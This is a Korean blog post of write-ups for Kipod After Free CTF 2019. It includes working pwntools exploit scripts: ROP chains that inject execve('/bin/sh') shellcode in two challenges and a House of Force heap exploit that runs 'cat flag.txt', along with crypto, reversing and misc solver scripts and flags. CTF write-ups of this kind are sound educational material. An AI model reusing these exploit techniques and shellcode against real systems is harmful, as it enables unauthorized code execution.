본문으로 바로가기

Kipod After Free CTF 2019

category CTF/CTF Playground 2019. 12. 22. 07:36

Pwn :: Preflag

잘 찍으면 풀리는 문제다. ㄷㄷ

아마 flag 파일에 flag가 preprocess defined 되어 있을 것 같다.

 

1
2
3
4
5
6
7
#include <stdio.h>
#include "flag"
 
int main() {
    printf("%s", flag);
    return 0;
}

 

컴파일된 바이너리에서 문자열을 뽑아오면 된다.

 

Flag: KAF{PR3PR0C355_L1K3_1_B055}

 

Pwn :: Simple Authorizer

간단한 ROP인데 pwntools로 ssh 연결하는 게 처음이라 상당히 애를 먹었다.

scanf로 입력받을 때 mov al, 0xB를 하면 vertical tab 때문에 문자열이 잘리므로 al에 0x80을 넣은 뒤 0x75를 빼줘서 0xB를 만들었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./SA')
else :
    _p = ssh(user='yeet', host='ctf2.kaf.sh', port=7020, password='12345678')
    p = _p.shell(tty=False)
 
 
def exploit() :
    scanf_plt = 0x8048450   # __isoc99_scanf
 
    p.writeline('A')
 
    payload = 'A'*8
    payload += '\x00'
    payload += 'A'*15
    payload += p32(scanf_plt)
    payload += p32(0x804A100)
    payload += p32(0x8048779)   # "%s"
    payload += p32(0x804A100)
    p.writeline(payload)
 
    p.readuntil('Password\n')
    p.writeline("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89\xC1\x89\xC2\xB0\x80\x2C\x75\xCD\x80\x31\xC0\x40\xCD\x80")
 
    p.interactive()
 
    # xor eax, eax
    # push eax
    # push 0x68732F2F
    # push 0x6E69622F
    # mov ebx, esp
    # mov ecx, eax
    # mov edx, eax
    # mov al, 0x80
    # sub al, 0x75
    # int 0x80
    # xor eax, eax
    # inc eax
    # int 0x80
 
 
if __name__ == '__main__' :
    exploit()

 

Flag: KAF{2147483647_to_-2147483648_makes_me_wanna_cry}

 

Pwn :: Contracts

Simple Authorizer랑 풀이방법이 완전히 같고 입출력만 잘 맞춰주면 된다. ㅋㅋ

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./Contracts')
else :
    _p = ssh(user='yeet', host='ctf2.kaf.sh', port=7010, password='12345678')
    p = _p.shell(tty=False)
 
 
def exploit() :
    scanf_plt = 0x8048450   # __isoc99_scanf
 
    p.writeline('2')
 
    payload = '\x00'
    payload += 'A'*0x107
    payload += p32(scanf_plt)
    payload += p32(0x804A100)
    payload += p32(0x80487EF)   # "%s"
    payload += p32(0x804A100)
    p.writeline(payload)
 
    p.writeline('3')
    p.writeline("\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x89\xC1\x89\xC2\xB0\x80\x2C\x75\xCD\x80\x31\xC0\x40\xCD\x80")
 
    p.interactive()
 
    # xor eax, eax
    # push eax
    # push 0x68732F2F
    # push 0x6E69622F
    # mov ebx, esp
    # mov ecx, eax
    # mov edx, eax
    # mov al, 0x80
    # sub al, 0x75
    # int 0x80
    # xor eax, eax
    # inc eax
    # int 0x80
 
 
if __name__ == '__main__' :
    exploit()

 

Flag: KAF{AAAAAAAAAA_41414141_its_poisonous}

 

Pwn :: CookShow

tcache인지 fastbin인지 모르겠지만 아무튼 dup 버그로 small과 medium의 포인터를 같게 만들어주면 된다.

 

1. add small, size=0x40

2. add medium, size=0x40

3. remove small

4. remove medium

5. remove small

6. add small, size=0x40

7. add medium, size=0x40

8. add medium, size=0x40

9. 1337

 

Flag: KAF{Do_Y0U_Ev3N_MALLoC_bruh?}

 

Pwn :: CloneWarS

간단한 House of Force 챌린지다. file에 chunk를 덮어씌우고 내용을 ls\x00, cat flag.txt\x00 등으로 수정해서 쉘 커맨드를 실행하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import sys
 
if len(sys.argv) == 1 :
    p = process('./CloneWarS')
else :
    _p = ssh(user='yeet', host='ctf2.kaf.sh', port=7000, password='12345678')
    p = _p.shell(tty=False)
 
 
def exploit() :
    p.writelineafter('choice: ''6')
    p.readuntil('at: ')
    code_base = int(p.readline()[:-1])-0x202010
 
    print('[Exploit] code base = '+hex(code_base))
 
    p.writelineafter('choice: ''3')
    p.writelineafter(': 'str(0x20))
    p.writelineafter(': ''FF')
    p.writelineafter(': 'str(0x30))
 
    p.writelineafter('choice: ''2')
    p.writelineafter('? ''1')
    p.readuntil('.... ')
    heap = int(p.readuntil(' ......')[:-7])-0x110
 
    print('[Exploit] heap address = '+hex(heap))
 
    p.writelineafter('choice: ''1')
    p.writelineafter(': 'str(code_base+0x202010-(heap+0x30)-8))
 
    p.writelineafter('choice: ''5')
    p.writelineafter(': 'str(0x20))
    p.writelineafter(': ''cat flag.txt\x00')
 
    p.writelineafter('choice: ''6')
 
    p.interactive()
 
 
if __name__ == '__main__' :
    exploit()

 

Flag: KAF{MaY_tHe_F0RCE_B3_W1tH_YOUUU10293012884}

 

Reversing :: Package

UPX packed

 

Flag: KAF{p4ckp4ckp4ck_p4ckm4n}

 

Reversing :: dkdos

H모 CTF 이후로 다시 DOS Executable을 다루게 되었다.. 대신 여기서는 유틸같은건 쓰지 않고 순수하게 i8086 어셈블리를 직접 읽으면서 분석해야 한다.

 

seg0:0x29에서 dseg:0xB4에 문자열을 최대 9글자만큼 담는다. (Termination 포함) [Reference]

seg0:0x38은 결과를 확인하는 곳이며 실질적인 문자열 비교는 seg0:0x0에서 이루어진다.

 

바이너리를 보면 프로그램 실행 중에 코드 동적 패치가 이루어진다는 것에 주목해야 한다.

초기 문자열 출력 후 seg0:0x11과 seg0:0x13을 D1 27 (shl bx, 1) 로 바꾸고, 입력받는 루틴에서 seg0:0x15를 01 07 (add bx, ax), 비교 루틴 진입 전 seg0:0x09를 8A 07 (mov al, bx) 로 바꾼다.

 

위 변경 사항을 적용해서 비교 루틴을 분석하면, 다음과 같은 식의 결과값이 dseg:0xC0에 쓰여짐을 알 수 있다. (xn은 n번째 문자이다. begin from 1)

(((((((x1*4+x2)*4+x3)*4+x4)*4+x5)*4+x6)*4+x7)*4+x8)

이 값이 0xCFE1과 다르면 바로 Fail 루틴으로 넘어가게 된다. 또, 문자열의 길이가 8이 아니면 바로 실패하게 된다.

 

하나하나 계산할 수도 있지만 귀찮아서 claripy solver engine을 이용해서 문자 8개를 구했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import claripy
 
= [claripy.BVS('x%d'%(i+1), 32for i in range(8)]
sv = claripy.Solver()
 
for bv in b :
    sv.add(bv >= 33)
    sv.add(bv <= 126)
 
res = claripy.BVV(032)
 
for i in range(8) :
    res += (4**(7-i))*b[i]
 
res %= 0x10000
 
sv.add(res == 0xCFE1)
 
for bv in b :
    print(chr(sv.eval(bv, 1)[0]))

 

이 문자열을 ctf.kaf.sh:6000에 연결해서 보내주면 플래그가 나온다.

 

Flag: KAF{D05_15_JU57_700_C00L}

 

Web :: KipodStab

dirsearch 돌려서 겨우 찾았다..

/Dockerfile

 

Flag: KAF{dOn7_5748_doCK3R_CON741n3R2}

 

Crypto :: BackHash

문자열 길이에 따라 암호화 방식이 달라지는데, 3N일 때는 MD5, 3N+1일 때는 SHA1+MD5로 해싱하고 3N+2일 때는 잘 모르겠다.

31글자 해시 기준으로 f1a9를 포함하도록 계속 해싱하는 코드를 짜서 풀었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
 
= open('/dev/urandom''rb')
 
hash = b''
size = 0
 
while size < 31 :
    c = r.read(1)
    ci = int.from_bytes(c, 'little')
 
    if (48<=ci<=57or (97<=ci<=102) :
        hash += c
        size += 1
 
r.close()
 
count = 0
 
# size=3N > MD5
# size=3N+1 > SHA1+MD5
# size=3N+2 > ?
 
while True :
    t = bytes(hashlib.sha1(hash).hexdigest(), 'utf-8')
    next = bytes(hashlib.md5(t).hexdigest(), 'utf-8')
 
    print('[Info] '+str(hash)+' > '+str(t)+' > '+str(next))
 
    if b'f1a9' in next : break
    hash = next[:-1]
    count += 1
 
print('[Info] Generated hashes: %d'%count)

 

Flag: KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}

 

Crypto :: SmpleKye

일찍 풀수록 유리한 게임 .. ㅡㅡ

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import hashlib
 
GENERATED = 0
charset = [b'0', b'1', b'2', b'3', b'4', b'5', b'6', b'7', b'8', b'9', b'a', b'b', b'c', b'd', b'e', b'f']
salt = b'02'
 
def generate(size, init=b'') :
    if size < 0 : return None
    if size == 0 : test(init)
 
    for c in charset :
        generate(size-1, init+c)
 
def test(s) :
    global GENERATED
    global salt
 
    text = salt+s
    hash = bytes(hashlib.sha256(text).hexdigest(), 'utf-8')
    GENERATED += 1
 
    if text in hash :
        print('[Info] '+str(text)+' > '+str(hash))
        print('[Info] Generated hashes: %d'%GENERATED)
 
suffix_size = 3
 
while True :
    print('[Info] suffix size = %d'%suffix_size)
    generate(suffix_size)
    suffix_size += 1

 

 

Flag: KAF{ju57_4_51mpl3_pr00F_0F_w0Rk}

 

Crypto :: Back2Back

주어진 문자열을 살펴보니 뭔가 BrainFuck과 닮은 것 같아서 ASCII Shift를 돌려보니 key=120에서 정상적인 코드가 나왔다.

(문제 description에 뇌를 다쳤다고 하는 부분에서 imply 하는듯)

 

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>------------.------.+++.+++++++++++++++++++.+++.<<+++++.>>----------.<++++++.<+.-.>.<++.-----.++++.>.>++++++++++++++++.----------------.<<+++.-----.>>++++++++++++++++++++++++++++.--------.---------------.++++++++++.++++++++.<.<++.-.>.<++.-----.++++.>.>-------------.<<-.>>----------.+++++++++++++.

 

이 코드를 실행하면 아래의 문자열이 나온다.

XRUhk#aL$#L% $Lqa'\"}ufpxL$#L% $Lk#an

 

이것저것 돌려보다가 xor 19를 하니 플래그가 나왔다. 끗

 

Flag: KAF{x0r_70_637_br41nfuck_70_637_x0r}

 

Misc :: Not A Flag

Flag: KAF{D1SC0RD_1S_9R3A7}

 

Misc :: Tupper needs help

Tupper's self-referential formula

 

Flag: KAF{MY_KIPOD_IS_HUGE}

 

Misc :: SmellyOnion

onion + 40 compressed subfiles

41개의 zip 파일 뒤에 붙어있는 2바이트를 hex로 decode해서 모아주면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
 
files = [str(i) for i in range(41)]
files[0= 'onion'
flag = ''
 
for fn in files :
    f = open('./files/'+fn, 'rb')
    f.seek(-22)
    flag += f.read(2).decode('hex')
    f.close()
 
print(flag)

 

Flag: KAF{21P_PH1L32_R_AW3S0M3_D0NT_Y0U_TH1NK}

 

Misc :: QueueR

이게 15점이라는게 믿기지가 않는다. python socket programming과 다양한 유틸들을 알게 되었긴 하지만.. 너무 힘이 빠진다..

pcap 파일을 분석하면, 어떤 호스트한테서 PNG를 받고 문자열을 보내는 걸 반복하는 게 보인다. 해당 통신 끝자락에 플래그 형식의 문자열이 있는데 이건 낚시고, 실제 플래그는 직접 서버랑 TCP 통신하면서 적절한 데이터를 송신해야 한다.

PNG는 ISBN 13 코드를 표현하는 QR코드고, 보내야 하는 문자열은 책 제목이다. 그리고 이걸 대략 30번정도 반복해야 플래그가 나온다. WTF

여러 삽질을 하다가 QRCode 인식까지는 자동화를 시켰고 ISBN을 웹파싱으로 해결할까도 생각해 봤지만 배보다 배꼽이 커지는 현상이 될 것 같아서, ISBN과 책 재목을 dictionary로 매칭했고 결과를 파일에 저장하는 식으로 처리했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from socket import *
from pyzbar.pyzbar import decode
from PIL import Image
 
= socket(AF_INET, SOCK_STREAM, 0)
host = '34.89.220.233'
port = 6010
 
s.connect((host, port))
 
= s.recv(0x100000)
books = {}
 
lf = open('./listfiles''r')
 
while True :
    line = lf.readline().rstrip()
    if len(line) == 0 : break
    if not ';;' in line : continue
    books[line.split(';;')[0]] = line.split(';;')[1]
 
lf.close()
 
while True :
    f = open('./result.png''wb+')
    f.write(r)
    f.close()
    qrdec = decode(Image.open('result.png'))[0].data.decode()
 
    print('[Info] File saved. (result.png), ISBN 13: '+qrdec)
    if not qrdec in books :
        print(' Book title: ', end='')
        book = input().encode()
    else :
        print(' Book found in database: '+books[qrdec])
        book = books[qrdec].encode()
 
    s.send(book)
    r = s.recv(0x1000)
 
    if b'Goodbye' in r :
        print('[Info] Failed.')
        break
 
    if b'KAF' in r :
        r = r.decode()
        print('[Info] Flag found: '+r[r.find('KAF'):])
        break
 
    books[qrdec] = book.decode()
    r = s.recv(0x100000)
 
lf = open('./listfiles''w')
 
for k in books :
    lf.write(k+';;'+books[k]+'\n')
 
lf.close()
s.close()

 

Flag: KAF{k4r1_m4rx_15_7h3_b357}

 

Misc :: Shebang

시장에 존재하는 플래그를 쓸어담으면 된다. $120에 사고 $180에 파는 걸 반복하면 되는데, 문제는 파산하면 해당 딜러와 거래가 불가능해져서 플래그를 갖고 있는 사람이 한 명이라도 파산하면 바로 게임 오버다. 그리고 플레이어가 파산하기 시작하는 타이밍이 꽤 빠르므로 거래를 자동화해야 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from time import sleep
 
= connect('ctf.kaf.sh'1120)
 
traders = []
 
p.readuntil('OK')
p.read(0x1000)
p.writeline('traders')
sleep(1)
= p.read(0x1000).replace('\x1b[1;33m''').replace('\x1b[0m''').replace('\x1b[1;32m''').replace('\x1b[0;37m''').split('\n')
 
for e in r :
    if e == '' : continue
    traders.append(e[:-5])
 
print(traders)
 
for trader in traders :
    for i in range(50) :
        p.writeline('buy 1 flag '+trader+' 120')
        p.writeline('sell 1 flag '+trader+' 180')
 
p.interactive()

 

아래는 작업이 끝난 뒤 인벤토리의 상황이다.

 

$ shebang
Shebang!
KAF{wr1t3_a_5cript_t0_w1nn_th1s_0n3}
$ inventory
Your inventory:
Tomato, 4pcs, totaling 24$ - 6$ each.
Dog, 1pcs, totaling 60$ - 60$ each.
Orange, 1pcs, totaling 3$ - 3$ each.
Console, 4pcs, totaling 160$ - 40$ each.
Flag, 46pcs, totaling 6900$ - 150$ each.
Your inventory totals to 7147$, and you have 2660$ cash.
$

 

Flag: KAF{wr1t3_a_5cript_t0_w1nn_th1s_0n3}

'CTF > CTF Playground' 카테고리의 다른 글

Rice Tea Cat Panda  (0) 2020.01.22
Christmas CTF  (0) 2019.12.25
TUCTF 2019  (0) 2019.12.01
HCTF 2019 Beginner Section  (0) 2019.11.17
Newbie CTF 2019  (0) 2019.11.02